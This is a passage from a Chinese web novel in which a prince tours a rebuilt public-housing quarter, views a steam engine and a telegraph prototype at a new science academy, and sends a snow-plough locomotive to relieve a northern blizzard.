“哎哟!上官大人快请进!寒舍简陋,您别嫌弃!”王大娘连忙将两人让进屋,又朝里屋喊道,“老头子!快出来!有贵客!” 林臻步入屋内。 这是一套标准的一室一厅户型。 进门是一个小小的方厅,约莫七八步见方,地面铺着青砖,擦得锃亮。 靠墙放着一张半新的榆木方桌和两把椅子,桌上摆着一个粗陶茶壶和几个杯子。 方厅左侧是卧室,门开着,可见一张挂着素色帐幔的木床,被褥叠放整齐。 右侧是厨房和卫浴间,用一道布帘隔开。 整个屋子虽不大,但收拾得窗明几净,一尘不染。 阳光透过明亮的玻璃窗洒进来,暖洋洋的。 “上官大人,您坐!您坐!”王大娘有些局促地招呼着,一边麻利地提起桌上的茶壶,“我去给您倒水!” “大娘不必麻烦。”林臻温和道,在方桌旁的椅子上坐下,目光扫过屋内,“这屋子住着可还习惯?” “习惯!太习惯了!”王大娘一边倒水一边连声道,脸上洋溢着发自内心的笑容, “比以前那破棚子强一百倍!您是不知道啊,以前我们一家五口挤在巴掌大的地方,下雨天漏雨,刮风天透风,冬天冻得骨头缝都疼!做饭在门口搭个灶,烟熏火燎的,洗个澡都得去公共澡堂子排长队!现在可好了!” 她放下茶壶,指着厨房方向,“您看这厨房,灶台是砖砌的,烟道通到外面,一点烟都不往屋里跑!还有那卫浴间,” 她掀开布帘一角,“马桶是瓷的!一按水就冲得干干净净!还有淋浴的莲蓬头!热水从楼下锅炉房统一供上来,想啥时候洗就啥时候洗!这在以前,想都不敢想啊!” 这时,一位头发花白、精神矍铄的老者从里屋走出来,正是王大娘的丈夫王老伯。 他显然听到了刚才的话,接口道:“是啊!上官大人!这独立厨卫,可真是解决了大问题!以前倒个夜壶都得跑老远,现在多方便!还有这窗户,” 他指着明亮的玻璃窗,“又大又亮堂!屋里亮堂堂的,心里也敞亮!” 林臻端起粗陶茶杯,喝了一口温热的白水,问道:“这房子租金几何?可负担得起?” “负担得起!负担得起!”王老伯连忙道,“府衙有规定,像我们这种原址受灾的老住户,租金按市价的三成收!我们家这间一室一厅,每月才一百二十文!比以前租棚子的钱还便宜!而且,” 他压低声音,带着一丝神秘, “李大人说了,只要按时交租,住满十年,这房子就能归我们了!” 李显在一旁笑着点头:“殿下……哦不,上官大人,此乃府衙新政。安居房住户,连续租住满十年,无拖欠租金、无重大违规行为者,可申请以极低价格买断房屋产权。此策旨在让居者有其屋,安其心。” 林臻微微颔首。此策甚好。 低廉的租金解决了当下,买断产权则给了百姓长远的盼头和归属感,真正实现安居乐业。 “那生活上可还有不便之处?”林臻又问。 “不便?”王大娘想了想,“要说有就是这水是定时供的。每日卯时、午时、酉时各供一个时辰。得提前存好水。” 她指了指墙角一个半人高的陶缸,“不过也习惯了!总比以前挑水吃强!而且听说工部的大人们正在研究什么压力水塔?说是以后能全天供水呢!” “是重力自流供水系统。”李显补充道,“由楚大人主持设计,已在西城新区试点。若成功将推广至各安居坊。” “那敢情好!”王老伯笑道,“到时候就更方便了!” 正说着,门外传来一阵清脆的童音:“奶奶!我回来了!” 一个约莫七八岁、背着粗布书包的小男孩蹦蹦跳跳地跑进来,看到屋里有陌生人,立刻停下脚步,有些拘谨地站在门口。 “虎子回来了!”王大娘连忙招手,“快进来!给上官大人行礼!” 小男孩怯生生地走进来,学着大人的样子,笨拙地作了个揖:“上官大人好!” 林臻看着孩子红扑扑的小脸和清澈的眼睛,温声问道:“放学了?在学堂学些什么?” “回大人,”小男孩声音清脆,“学《千字文》,学算数,还学唱歌!先生还教我们要讲卫生垃圾入桶爱护花草!” “好孩子。”林臻颔首,“喜欢上学吗?” “喜欢!”小男孩用力点头,“学堂又大又亮!先生可好了,还发点心吃!”他脸上洋溢着纯真的快乐。 林臻心中欣慰。 免费蒙学堂的设立,不仅让孩子们有了识字明理的机会,更在潜移默化中培养着新一代的文明习惯和公民意识。 这才是惠及长远的根本之策。 离开王老伯家,林臻又在李显的陪同下,随机走访了几户人家。 有刚搬进来的年轻夫妇,对独立的小天地充满欣喜;有儿女在外、独自居住的老者,对社区的关怀赞不绝口;还有经营着小商铺的商户,对底层商铺的租金优惠和稳定客流表示满意。 所见所闻,皆是满足的笑容,感激的话语,以及对未来生活的美好憧憬。 回到坊内中心广场的便民市集,正值午市高峰,人声鼎沸,热闹非凡。 林臻在一个卖杂货的摊前停下,摊主是一位精明干练的中年汉子。 李显介绍道:“这位是张掌柜,以前在城南开铺子,大火后铺子没了,家也烧了。如今租了这安居楼底层的铺面,重操旧业。” 张掌柜见李显陪同,又见林臻气度不凡,连忙热情招呼:“李大人,这位大人,您看看需要点什么?小店针头线脑、油盐酱醋、日用百货,应有尽有!” 林臻拿起一个竹编的簸箕看了看,问道:“张掌柜,这铺面租金如何?生意可好?” “回大人!”张掌柜笑道,“租金比外面街面便宜三成!府衙有规定,优先租给咱们坊内受灾户和下岗的伙计!我这铺子,位置好,街坊邻居都熟,生意还不错!比以前在城南,操心少,赚得还稳当!而且,” 他压低声音,“府衙说了,只要诚信经营,卫生达标,租金三年不涨!这心里踏实!” 林臻点头。安居乐业,不仅要有居所,还要有生计。底层商铺的优惠政策和稳定环境,为小商户提供了生存和发展的空间,也方便了坊内居民的生活。 离开兴化坊时,日已西斜。 林臻站在坊口的石桥上,回望这片沐浴在金色夕阳中的安居之地。 整齐的楼宇披上暖光,洁净的街巷人影幢幢,清澈的河面泛着粼粼波光,热闹的市集传来阵阵笑语。 孩童的嬉闹声,老者的谈笑声,商贩的吆喝声,交织成一曲生动而温暖的市井交响。 “李显。”林臻声音低沉。 “下官在!” “兴化坊成效斐然。”林臻道,“然此非终点。” “殿下请吩咐!” “其一,”林臻目光深邃,“将兴化坊之规制、营建标准、管理章程、惠民政策详实记录,汇编成《安居工程典要》。着工部、户部、吏部会同审议,增补完善,颁行天下各州府以为范本强制推行!” “其二,”他继续道,“帝京之内类似兴化坊之旧棚户区尚有十余处。着工部即刻全面勘察制定分期改造计划!所需银钱由户部专项拨付,焚雷司,格物院全力配合,提供技术支持!务必五年之内彻底消除帝京棚户!” “其三,”林臻声音转冷,“各州府推行《典要》不得敷衍塞责!着都察院,派御史明察暗访!凡有阳奉阴违克扣款项偷工减料,欺压百姓者严惩不贷!抄家流放,绝不姑息!” “其四,”他最后道,“兴化坊河长、卫生纠察、文明户评选等自治之法成效显著。着吏部研究将其纳入《地方流官考绩条例》!推广全国,强化基层治理激发民智民力!” “下官遵旨!”李显躬身领命,声音带着激动与凝重。 他知道,殿下的旨意,将掀起一场席卷全国的安居工程浪潮,惠及亿万黎民。 夕阳的余晖将林臻的身影拉得很长。 他最后看了一眼这片在废墟上重生、充满生机与希望的土地,转身踏上归途。 车轮碾过青石板路,发出平稳的声响。 帝京的繁华在暮色中渐次亮起灯火。 林臻靠在车厢内,闭目养神。 第753章 蒸汽动力 帝京西郊,西山脚下。 秋日的阳光穿透薄云,洒落在层林尽染的山峦上,为这片远离尘嚣的土地镀上一层温暖的金辉。 一座依山而建、规模宏大的建筑群,正在如火如荼地建设中。 青灰色的砖墙拔地而起,高大的琉璃瓦顶在阳光下熠熠生辉,纵横交错的木制脚手架如同巨兽的骨架,覆盖着尚未完工的殿宇楼阁。 空气中弥漫着新木料的清香、石灰砂浆的微涩气息,以及远处传来的叮当凿石声、号子声和车轮碾过土路的辘辘声。 这里,便是由林臻亲自提议、楚惜灵主持筹建、工部与焚雷司倾力打造的帝国最高科研机构——格物院。 林臻一身靛青常服,未带仪仗,仅由两名亲卫随行,在工部侍郎陈景和焚雷司主事楚惜灵的陪同下,缓步行走在工地的临时便道上。 脚下是新铺的碎石路面,尚显粗糙。两侧,巨大的石料堆叠如山,成捆的木材码放整齐,满载砖瓦的牛车在监工的指挥下有序行进。 工匠们各司其职,或挥汗如雨地砌筑高墙,或攀爬在脚手架上安装梁柱,或埋头精雕细琢着门窗上的花饰,一派繁忙而有序的景象。 “殿下请看,”工部侍郎陈景指着前方一座已初具雏形、形制方正、高达三层的巨大殿宇,“此乃格物院主殿明理堂。按楚大人所绘图则,主体为砖石结构,内嵌钢筋骨架,琉璃瓦顶,殿内将设三层通高大厅,用于陈列大型器械模型、举办学术讲会。东西两侧配殿,分别为算学馆与格物馆,用于典籍收藏与基础研究。” 他顿了顿,指向主殿后方, “后方依山势而建,乃百工坊区域,规划有冶铸、木作、机括、化工等数十座独立工坊,皆按楚大人要求,预留了大型设备安装空间和通风排烟管道。” 林臻微微颔首,目光扫过繁忙的工地:“工期进展如何。” 陈景躬身道:“回殿下,自三月破土动工,至今已七月有余。明理堂主体结构已封顶,正在进行内部砌筑与梁柱雕饰。东西配殿主体完工。百工坊区域地基已夯实,首批冶铸、机括两坊已开始砌墙。整体预计明年仲夏可基本竣工。” 他面露难色,“但部分特制大型设备,如水力锻锤、高温熔炉,需从海外定制或由焚雷司自行研制,运输安装耗时颇长,恐影响后续进度。” “设备优先保障。”林臻声音沉稳,“所需银钱、物资、人力,尽予。海外采购,着张俪全力协调。焚雷司研制,楚卿统筹。” “臣遵命。”楚惜灵清冷的声音在一旁响起。 她今日依旧一身靛蓝工装,外罩一件素色薄氅,左臂伤势已愈,清冷的脸上带着一丝长途跋涉后的疲惫,但眼神却异常专注锐利,正手持一卷图纸,不时与身旁一名工部吏员低声交谈,指点着远处的建筑细节。 “灵儿伤势可痊愈了?”林臻目光转向她。 “谢夫君关怀,已无碍。”楚惜灵微微欠身,目光依旧落在图纸上,“百工坊通风管道设计需微调,以适配新式熔炉排烟量。” 林臻不再多言,示意继续前行。 一行人穿过尘土飞扬的工地,来到一处相对僻静、已搭建起简易棚屋的区域。 这里远离主体建筑的喧嚣,几座由原木和油毡布搭建的临时工棚内,传出有节奏的金属敲击声和低沉的机器运转声。 棚屋外,竖立着几根高大的木杆,上面架设着数条缠绕着黑色胶皮的铜线,一直延伸到远处的山坳中。 “殿下,此处乃蒸汽动力与电磁通讯项目临时试验场。”楚惜灵引路,声音清冷平稳,“因主工坊尚未建成,先行在此开展基础试验。” 步入其中一座最大的工棚,一股混合着机油、煤炭和金属灼热的气息扑面而来。 棚内光线略显昏暗,却见一座庞然大物矗立中央。 那是一个由厚重铸铁和精铜构件组成的复杂机器,主体是一个巨大的卧式圆柱形锅炉,外覆隔热石棉,数根粗大的紫铜管道从锅炉延伸而出,连接着一个巨大的、带有飞轮和曲柄连杆机构的黄铜气缸。 锅炉下方,炉火熊熊,鼓风机嗡嗡作响,将热浪不断送入炉膛。 气缸上方,蒸汽喷涌而出,发出嘶嘶的声响,推动着巨大的活塞往复运动,带动飞轮和连杆发出沉重而规律的轰鸣。整个机器如同沉睡的巨兽被唤醒,散发着力量与热量。 “此乃初号机改良型。”楚惜灵走到机器旁,清冷的声音穿透机器的轰鸣,“参照海外瓦特式蒸汽机图纸,结合焚雷司材料工艺改进。 锅炉采用双层铆接钢板,内衬耐火砖,承压提升三成。气缸精铜铸造,内壁镜面研磨,配合改良活塞环,密封性提升五成。飞轮铸铁,配重优化,运转更平稳。” 她指着机器旁一根连接着飞轮轴、正在高速旋转的传动轴:“目前主要测试持续运转稳定性及输出功率。目标驱动大型锻锤、抽水机,乃至未来轨道机车。” 林臻走近几步,感受着机器运转时地面传来的微微震动和空气中弥漫的热浪与机油味。这轰鸣的钢铁巨兽,虽然粗糙简陋,却蕴含着改变世界的力量。他问道:“功率如何?” “目前持续输出约十马力。”楚惜灵道,“相当于二十匹健马同时发力。然热效率仅一成五。燃料消耗巨大。下一步重点改进冷凝回路,提升热效率。” “有何困难?”林臻问。 “材料精度。”楚惜灵指向气缸与活塞的连接处,“高温高压下,密封仍是难题。高精度轴承需特殊合金冶炼,尚在攻关。另,大型铸件成品率不足三成,废品堆积如山。” “集中力量攻关。”林臻沉声道,“所需尽予。海外若有相关技术人才,不惜代价引进。” “是。”楚惜灵应道。 离开蒸汽机工棚,楚惜灵引着林臻走向另一座较小的棚屋。 这座棚屋安静得多,空气中弥漫着一股淡淡的硫磺和松香混合的气息。 棚内陈设相对简单,几张宽大的木桌拼成工作台,台上摆满了各种精密的铜制零件、缠绕着漆包线的线圈、玻璃器皿、电池组(伏打电堆)以及一些结构复杂的木制模型。 几名身着靛蓝工装的研究员正伏案工作,或小心翼翼地绕制线圈,或调试着桌上的仪器,或记录着数据。他们神情专注,对林臻一行的到来恍若未觉。 工作台中央,摆放着一套奇特的装置。 一端是一个带有按键的木盒,按键下方连接着复杂的铜制杠杆和弹簧机构。 木盒内,可见缠绕着密密麻麻漆包线的电磁铁。 木盒通过两根缠绕着黑色胶皮的铜线,连接着数丈外另一端一个相似的木盒。 那端的木盒上方,装有一个可以左右摆动的金属指针,指针下方固定着一个刻度盘。 “此乃电磁电报机原型机。”楚惜灵走到装置旁,声音依旧清冷,但眼中闪过一丝不易察觉的微光,“原理基于安培定律与法拉第电磁感应。发送端按键控制电路通断,产生脉冲电流,通过导线传输至接收端,驱动电磁铁吸合释放,带动指针左右摆动,对应不同编码,传递信息。” 她示意一名研究员演示。研究员走到发送端木盒前,手指在按键上有节奏地按动。 随着他的动作,接收端的金属指针开始左右摆动,发出轻微的“咔哒”声。 另一名研究员紧盯着指针的摆动,迅速在纸上记录下一串符号。 “目前采用简易编码,点、划组合代表字母数字。”楚惜灵解释道,“传输距离受导线电阻、信号衰减限制。目前最远成功传输五里。目标百里乃至千里。” “有何进展?”林臻问。 “绝缘材料改进。”楚惜灵拿起一段包裹着黑色胶皮的铜线,“焚雷司新制硫化橡胶,绝缘性、耐候性远超棉纱桐油。信号衰减降低三成。编码优化,效率提升。接收端灵敏度增强。然,” 她顿了顿,“长距离传输信号微弱,易受干扰,需中继放大技术,尚未突破。” “干扰何来?”林臻追问。 “雷电、地磁、附近强电流设备皆可干扰。”楚惜灵指向棚外,“如隔壁蒸汽机启动时,此处指针便会乱颤。” “可有对策?” “屏蔽、接地、差分信号,”楚惜灵报出一串术语,“皆在试验。最根本需提升信号强度及抗干扰编码。” “楚卿任重道远。”林臻目光扫过工作台上精密的零件和专注的研究员,“此物若成,千里传讯瞬息可达,于国于民功在千秋。” “臣定当竭尽全力。”楚惜灵垂首,清冷的脸上带着一丝凝重。 离开电磁实验室,楚惜灵引着林臻登上工地旁一处地势较高的土坡。从这里俯瞰,整个“格物院”工地的全貌尽收眼底。主殿“明理堂”巍峨耸立,琉璃瓦顶在阳光下闪耀着庄严的光芒。 东西配殿轮廓初现。后方“百工坊”区域,地基纵横交错,如同大地的脉络。 更远处,山峦起伏,层林尽染。临时试验场的蒸汽机轰鸣声隐隐传来,如同大地的心跳。 “殿下,”楚惜灵站在他身侧,清冷的眼眸扫过繁忙的工地,声音带着一丝不易察觉的憧憬,“待格物院落成,百工坊启用,蒸汽机驱动万千器械,电报机连通四海九州,格物之学将真正化为改天换地之力。” 林臻沉默片刻,目光深邃:“灵儿可知此路艰险?” “知。”楚惜灵声音平静无波,“然路虽远,行则将至。事虽难,做则必成。此乃格物之本。” “好。”林臻颔首,“所需尽予。人力、物力、财力,乃至权柄,皆可。唯愿楚卿莫负此心此志。” “妾身谨记。” 第754章 摩斯电码 帝京西郊,西山脚下,“格物院”工地的喧嚣日夜不息。 秋去冬来,寒风凛冽,却吹不熄这片土地上燃烧的热情。 巨大的琉璃瓦顶在冬日苍白的阳光下反射着冷冽的光泽,砖墙层层垒高,脚手架如蛛网般攀附其上,工匠们呼出的白气在寒风中迅速消散,唯有叮当的敲击声和号子声穿透严寒,昭示着工程的稳步推进。 而在那片已投入使用的临时试验场区,一场静默的变革正在酝酿。 最大的那座工棚内,热浪滚滚,驱散了冬日的寒意。 那座被命名为“初号机”的改良型蒸汽机,经过焚雷司工匠们日夜不休的调试与改进,此刻正发出比以往更加沉稳有力的轰鸣。 锅炉炉火熊熊,鼓风机全速运转,将炽热的空气送入炉膛。 厚重的铸铁飞轮在精铜曲轴的带动下高速旋转,发出低沉而持续的嗡鸣,带动着连接在传动轴末端的一个巨大的、带有齿轮组的铸铁转盘。 转盘的另一端,通过一条粗壮的铁链,连接着棚外轨道上的一架奇特的装置。 棚外,一条长约百丈、由硬木铺设、上嵌两条平行熟铁轨道的简易试验线,笔直地延伸向远处的山坳。 轨道上,停着一架形似巨大铁箱的装置。 它有着一个巨大的、如同卧倒酒桶般的锅炉,一个带有飞轮和连杆的黄铜气缸,下方是两对巨大的铁轮,轮缘卡在铁轨上。 这便是焚雷司“机括坊”倾力打造的“轨道蒸汽机车”原型——代号“铁龙一号”。 楚惜灵一身靛蓝工装,外罩厚实的棉袄,清冷的脸上沾着几点油污,眼神却锐利如鹰。 她站在棚内控制台前,琉璃护目镜下,目光紧盯着压力表、温度计和转速计的指针。几名工匠围在蒸汽机旁,神情紧张而专注。 “压力稳定。”一名工匠盯着压力表,声音嘶哑。 “温度达标。”另一名工匠报告。 “转速达到峰值。”第三名工匠喊道。 楚惜灵深吸一口气,清冷的声音穿透机器的轰鸣:“连接传动。” “是。”工匠猛地扳下一个沉重的铜制手柄。 “咔哒。”一声清脆的咬合声响起。棚内传动轴末端的巨大转盘,通过铁链,将动力传递至棚外“铁龙一号”的驱动轮轴。 “呜。”一声低沉而悠长的汽笛声从“铁龙一号”的烟囱中喷薄而出,带着一股白茫茫的蒸汽。 “动了,动了。”棚外传来工匠们压抑的惊呼。 只见“铁龙一号”巨大的铁轮,在蒸汽的推动下,开始缓缓转动。 轮缘与铁轨摩擦,发出刺耳的“吱嘎”声。车身猛地一震,随即开始向前移动。 初始缓慢,如同巨兽初醒,步履蹒跚。 沉重的车身碾压过轨道,发出沉闷的声响。 白茫茫的蒸汽从烟囱中滚滚喷出,在寒冷的空气中迅速凝结成雾。 随着蒸汽压力的持续输出,铁轮转速逐渐加快。 车身开始加速。沉重的钢铁之躯,在简陋的轨道上,拖拽着身后连接的一节满载石料的平板车,轰然前行。 “十丈,二十丈,三十丈……”工匠们激动地数着距离。 “五十丈,六十丈,七十丈……” “八十丈,九十丈……” “百丈,到了。”工匠们爆发出震天的欢呼。 “铁龙一号”稳稳地停在轨道尽头预设的木桩前,烟囱中依旧喷吐着白色的蒸汽,如同巨兽在喘息。车身微微震颤,铁轮在惯性下缓缓停止转动。 成功了。虽然只是百丈距离,虽然速度缓慢,虽然噪音巨大,但这沉重钢铁依靠自身力量在轨道上拖拽重物前行的景象,如同惊雷般震撼了在场的每一个人。 这意味着,无需骡马,无需人力,这钢铁巨兽便能拖动远超自身数十倍的重物,在固定的轨道上奔驰。 其意义,远非省力省时所能概括,它将彻底改变运输的方式,乃至战争的形态。 与此同时,在另一座相对安静的电磁实验棚内,气氛同样紧张到了极点。 工作台上,那套“电磁电报机”原型机已被重新组装调试。 发送端与接收端之间连接的铜线,不再是棚内短短数丈,而是沿着新架设的木杆,蜿蜒延伸,一直通向五里之外、设在山坳另一侧临时哨所内的另一台接收机。 楚惜灵站在发送端木盒前,清冷的脸上依旧无波无澜,但紧抿的嘴唇和微微绷紧的指尖,暴露了她内心的凝重。几名研究员屏息凝神,分别守在发送端、线路中继点和五里外的接收端。 “线路检测完毕,通畅。”发送端研究员报告。 “中继站准备就绪。”对讲机(简易传声筒)传来回应。 “接收端就绪。”五里外的声音透过传声筒传来,带着一丝不易察觉的电流杂音。 楚惜灵深吸一口气,指尖落在发送端的按键上。她没有立刻按下,而是闭目凝神片刻,仿佛在积蓄力量。 棚内一片死寂,只有仪器内部微弱的电流声和众人压抑的呼吸声。 “开始。”楚惜灵声音清冷。 她的指尖动了。以一种极其精准、快速而稳定的节奏,在按键上敲击起来。 哒,哒哒,哒,哒哒哒。清脆的按键声在寂静的棚内格外清晰。 随着她的动作,发送端电磁铁吸合释放,产生微弱的脉冲电流,沿着包裹着黑色硫化橡胶的铜线,飞速奔向五里之外。 “发送编码:天行健。”发送端研究员低声念出楚惜灵发送的信息。 五里外,山坳哨所。接收端的金属指针在电磁铁的驱动下,开始左右摆动。 哒,哒哒,哒,哒哒哒。 指针的摆动声与发送端的按键声几乎同步。 守在接收端的研究员眼睛瞪得溜圆,紧盯着指针的每一次摆动,手中的炭笔在纸上飞速记录着对应的符号。 “接收编码:天行健。”研究员的声音带着难以置信的颤抖,透过传声筒传回主棚。 棚内瞬间爆发出压抑的欢呼。 成功了。 五里距离,信息瞬息即达。 虽然只是简单的三个字,虽然还有电流杂音的干扰,但这意味着,依靠无形的电波,信息传递的速度超越了最快的骏马。 空间的距离,在电流面前,被无限压缩。 这无声的电波,将彻底改变信息传递的方式,乃至国家治理的脉络。 楚惜灵缓缓收回手指,清冷的眼眸中,终于闪过一丝难以抑制的微光。 她看着接收端研究员记录下的那三个字,如同看着一个崭新时代的开启。 数日后,帝京皇宫,紫宸殿。 炭火盆驱散着深冬的寒意,却驱不散殿内凝重而压抑的气氛。 林臻玄色蟠龙常服,端坐主位,目光沉静如渊。 殿下,文武百官肃立,气氛肃穆。 户部尚书手持奏报,声音带着忧虑:“殿下,北地雪灾奏报,八百里加急。雁门关外,三州十七县,遭百年不遇暴雪。道路断绝,屋舍坍塌,牲畜冻毙无数。灾民恐逾十万,急需赈灾粮草,御寒衣物,及疏通道路。” 兵部尚书上前一步:“殿下,柔然左贤王部趁雪灾集结于‘野狼原’,动向不明,恐趁火打劫。” 工部尚书面露难色:“殿下,赈灾粮草已从江南调拨,然漕运封冻,陆路大雪封山,道路难行,恐缓不济急。” 殿内一片沉寂。北地雪灾,外虏窥伺,道路断绝,赈济艰难。这如同一个死结,缠绕在每个人心头。 “道路如何疏通?”林臻声音低沉。 “回殿下,”工部尚书道,“已征调民夫三万,然雪深数尺,天寒地冻,进展极其缓慢。” “雁门关至受灾州县,路程几何?”林臻问。 “最近者黑石县,三百里。最远者云州,五百里。”兵部尚书道。 “三百里,五百里。”林臻目光扫过众臣,“若以快马传递军情,需几日?” “回殿下,”兵部侍郎道,“雪深路险,快马日行不过百里,且人马易折损。传递军情至少三日,赈灾信息往来更慢。” “三日。”林臻声音平静无波,“若瞬息可达,如何?” 第755章 救雪灾 殿内众臣皆是一怔,面面相觑,不明所以。瞬息可达?此乃神行太保乎? 林臻不再言语,目光转向殿门。殿门开启,楚惜灵一身靛蓝官袍,清冷依旧,在两名内侍引领下,步入大殿。她手中捧着一个蒙着黑布的托盘。 “灵儿。”林臻道。 “在。”楚惜灵躬身。 “演示给诸位大人看看。”林臻道。 楚惜灵揭开黑布。 托盘上,是两套结构精巧的铜木装置,正是那“电磁电报机”的缩小便携版。 她将其中一台置于殿中案几上(发送端),另一台置于殿门外廊下(接收端),由一名小太监看守。两者之间,连接着一条长长的、缠绕着黑色胶皮的铜线。 “此物名‘电报机’。”楚惜灵声音清冷,穿透殿内的寂静,“可瞬息之间传递文字信息,无视空间阻隔。” 她走到发送端前,指尖在按键上快速敲击。哒哒,哒哒哒。清脆的按键声在寂静的大殿中回荡。 片刻,殿门外的小太监飞奔而入,手中捧着一张纸条,声音带着激动:“报,接收端收到信息,‘紫宸’二字。” 殿内瞬间哗然。紫宸殿到殿门外廊下,虽只数十步,但这瞬息传递,无视距离,已足以震撼人心。 “再试。”林臻道。 楚惜灵再次敲击按键。 哒哒哒,哒,哒哒。 小太监再次飞奔而入:“报,信息议政。” “再试。”林臻目光锐利。 楚惜灵指尖如飞。 哒哒哒哒,哒哒,哒哒哒。 小太监:“报,信息惊雷。” “瞬息可达,无视阻隔。”林臻目光扫过震惊的群臣,“此非神行,乃格物之力。” 他转向楚惜灵:“灵儿,即刻携此机赴雁门关。架设电报线路,连通受灾州县。令前线军情,灾情急报,瞬息可达中枢。” “领命。”楚惜灵躬身,清冷的眼眸中闪烁着坚定的光芒。 “另,”林臻目光转向工部尚书,“格物院铁龙一号试验成功。着工部、焚雷司即刻勘测雁门关至受灾州县路线。铺设简易轨道,调拨蒸汽机车,运送赈灾粮草。破冰开路。” “殿下,”工部尚书声音发颤,“轨道机车,此乃前所未有。” “前所未有,便开创之。”林臻声音斩钉截铁,“非常之时,行非常之法。雪灾外虏,皆不等人。速办。” “臣遵旨。”工部尚书咬牙应道。 “户部。”林臻目光如电,“江南粮草改走海路,至津门港。由蒸汽机车转运北地。务必确保粮道畅通。” “是。”户部尚书躬身。 “兵部。”林臻声音转冷,“严密监控柔然动向。若其敢犯境,焚天雷伺候。” “末将遵命。”兵部尚书眼中凶光一闪。 ...... 北疆,雁门关外。 朔风怒号,卷起漫天雪沫,天地间一片苍茫混沌。 积雪深可及腰,将山川道路尽数掩埋,唯余一片死寂的银白。 刺骨的严寒如同无形的利刃,切割着每一寸裸露的肌肤。 这里是百年不遇的暴雪重灾区,三州十七县沦为雪海孤岛,屋舍坍塌,牲畜冻毙,十万灾民饥寒交迫,在绝望中挣扎。 道路断绝,信息不通,救援物资堆积在雁门关内,寸步难行。 而更令人忧心的是,柔然左贤王部已悄然集结于野狼原,如同蛰伏的饿狼,随时可能扑向这风雪中的羔羊。 雁门关内,临时搭建的“救灾指挥所”灯火通明,气氛凝重如铁。 炭火盆驱不散深入骨髓的寒意。 楚惜灵一身靛蓝棉袍,外罩厚实的羊皮袄,清冷的脸上带着长途跋涉的疲惫与风霜,但眼神却锐利如初。 她站在巨大的北疆舆图前,指尖划过被标记为红色的受灾区域。 毛梦极一身玄黑重甲,脸上刀疤在火光下更显狰狞,枯瘦的手指按在腰刀上,眼中凶光闪烁。工部、户部、兵部的官员围坐一旁,面色凝重。 “黑石县灾情最重。”毛梦极声音嘶哑,如同砂纸摩擦,“断粮三日,冻毙者日增。” “云州尚有存粮,然道路彻底封死。”户部官员声音发颤。 “柔然游骑已现百里外。”兵部斥候统领声音低沉,“恐三日内必有动作。” “必须打通黑石线。”毛梦极一拳砸在舆图上,“否则十万灾民皆成饿殍。” “如何打通?”工部官员面露绝望,“雪深数尺,民夫日掘不过三里,杯水车薪。” 所有人的目光,都聚焦在楚惜灵身上。 楚惜灵清冷的眼眸扫过众人,声音平稳无波:“铁龙一号已至关外十里铺。” “那铁疙瘩。”毛梦极皱眉,“雪深能行。” “轨道已铺就十里。”楚惜灵指向舆图,“自十里铺至黑石县三百里。需分段铺设简易轨道,以蒸汽机车拖运粮草,破冰开路。” “三百里,雪地,铺设轨道。”工部官员失声,“天方夜谭。” “非全铺。”楚惜灵道,“选地势平缓避风处,铺设木轨覆铁条。机车拖拽特制破雪犁及压路滚轮,先行开道。后续民夫加固拓宽。分段推进。” “时间。”毛梦极低吼,“灾民等不起。” “首批粮草十车已装‘铁龙一号’。”楚惜灵道,“破雪犁,压路滚轮已备。轨道自十里铺向北已铺五里。即刻发车。边行边铺。” “好。”毛梦极眼中凶光一闪,“老子亲自押车。工部,调集所有民夫。焚雷司,全力保障机车。楚大人,你坐镇指挥。” “是。”众人轰然应诺。 关外十里铺。 风雪稍歇。一座巨大的钢铁巨兽,正静静地匍匐在刚刚铺设完成的简易木轨上。正是“铁龙一号”。 锅炉已点燃,炉火熊熊,烟囱中喷出滚滚白烟,在寒风中迅速凝结。 车头前方,安装着一个巨大的、形似犁铧的钢铁装置——破雪犁。 车尾连接着十节满载粮食和御寒衣物的平板车。 毛梦极一身重甲,站在车头驾驶室旁,枯瘦的脸上刀疤狰狞。焚雷司工匠们正紧张地进行最后的检查。 “压力稳定。” “温度达标。” “准备就绪。” 毛梦极猛地一挥手:“发车。” “呜。”一声低沉悠长的汽笛撕裂风雪。 巨大的铁轮缓缓转动,轮缘与铁轨摩擦,发出刺耳的“吱嘎”声。 车身猛地一震,随即开始向前移动。 沉重的破雪犁深深插入积雪,如同巨兽的獠牙,将前方厚达数尺的雪墙硬生生犁开! 雪沫飞溅,如同白色的浪花。 被犁开的积雪向两侧翻卷,露出下方冻硬的土地。 压路滚轮紧随其后,将松软的雪道压实压平。 “动了,动了。”轨道旁,数千名民夫发出压抑的欢呼。 “铁龙一号”速度缓慢,却坚定地向前推进。 沉重的车身碾压着轨道,发出沉闷的轰鸣。 白茫茫的蒸汽在寒风中喷涌翻滚。 每前进一段距离,焚雷司工匠便指挥民夫将预先准备好的木轨和铁条铺设到刚刚开出的雪道上,加固路基。 工部官员则组织民夫清理两侧积雪,拓宽道路。 “五里,十里,十五里……”工部吏员激动地记录着里程。 风雪再次肆虐,能见度骤降。 破雪犁前方,积雪更深,夹杂着冻硬的冰层。 “铁龙一号”发出更加沉重的轰鸣,车身剧烈震颤,速度明显放缓。 “报告,前方积雪过厚,夹杂冰层,破雪犁阻力过大。”工匠高喊。 “加煤,加压。”毛梦极声音冰冷,“焚雷司,准备爆破。” “是。”几名焚雷司工匠迅速下车,手持特制的“开山炸药”包,冲向冰层处。 安置炸药,引燃引信,迅速撤离。 “轰。”一声沉闷的巨响,冰层炸裂,积雪飞溅。 “铁龙一号”再次发力,破雪犁碾过炸开的碎冰,继续前行。 “二十里,二十五里……”里程在风雪中艰难推进。 雁门关指挥所内,楚惜灵站在临时架设的电报机前,清冷的脸上无波无澜。 发送端木盒上的按键,连接着通往“铁龙一号”临时停靠点的铜线。 接收端则连接着通往后方帝京紫宸殿的线路。 第756章 挡船者死 “报告楚大人,铁龙一号已推进至三十里处,遭遇暴风雪,暂停前进。”电报员接收信息,迅速报告。 楚惜灵指尖在按键上快速敲击,哒哒哒,哒哒哒哒。将信息编码发出。 片刻,电报员报告:“帝京回电,林臻殿下谕令,安全第一,稳扎稳打,确保粮草万无一失。” “回复,遵命。”楚惜灵道。 “报告,黑石县急电。”另一名电报员喊道,“灾民聚集县衙,粮尽,情势危急,恳请速援。” 楚惜灵目光微凝,指尖再次敲击,将信息发往“铁龙一号”临时停靠点。 风雪山谷中,毛梦极看着手中译出的电文,枯瘦的脸上肌肉抽搐。他猛地转身,对着焚雷司工匠吼道:“风雪稍弱,立刻发车。目标,黑石县。全速前进。” “是。”工匠们顶着风雪,检查机车。 “报告,柔然游骑前锋,已抵野狼坡,距此八十里。”兵部斥候快马飞报。 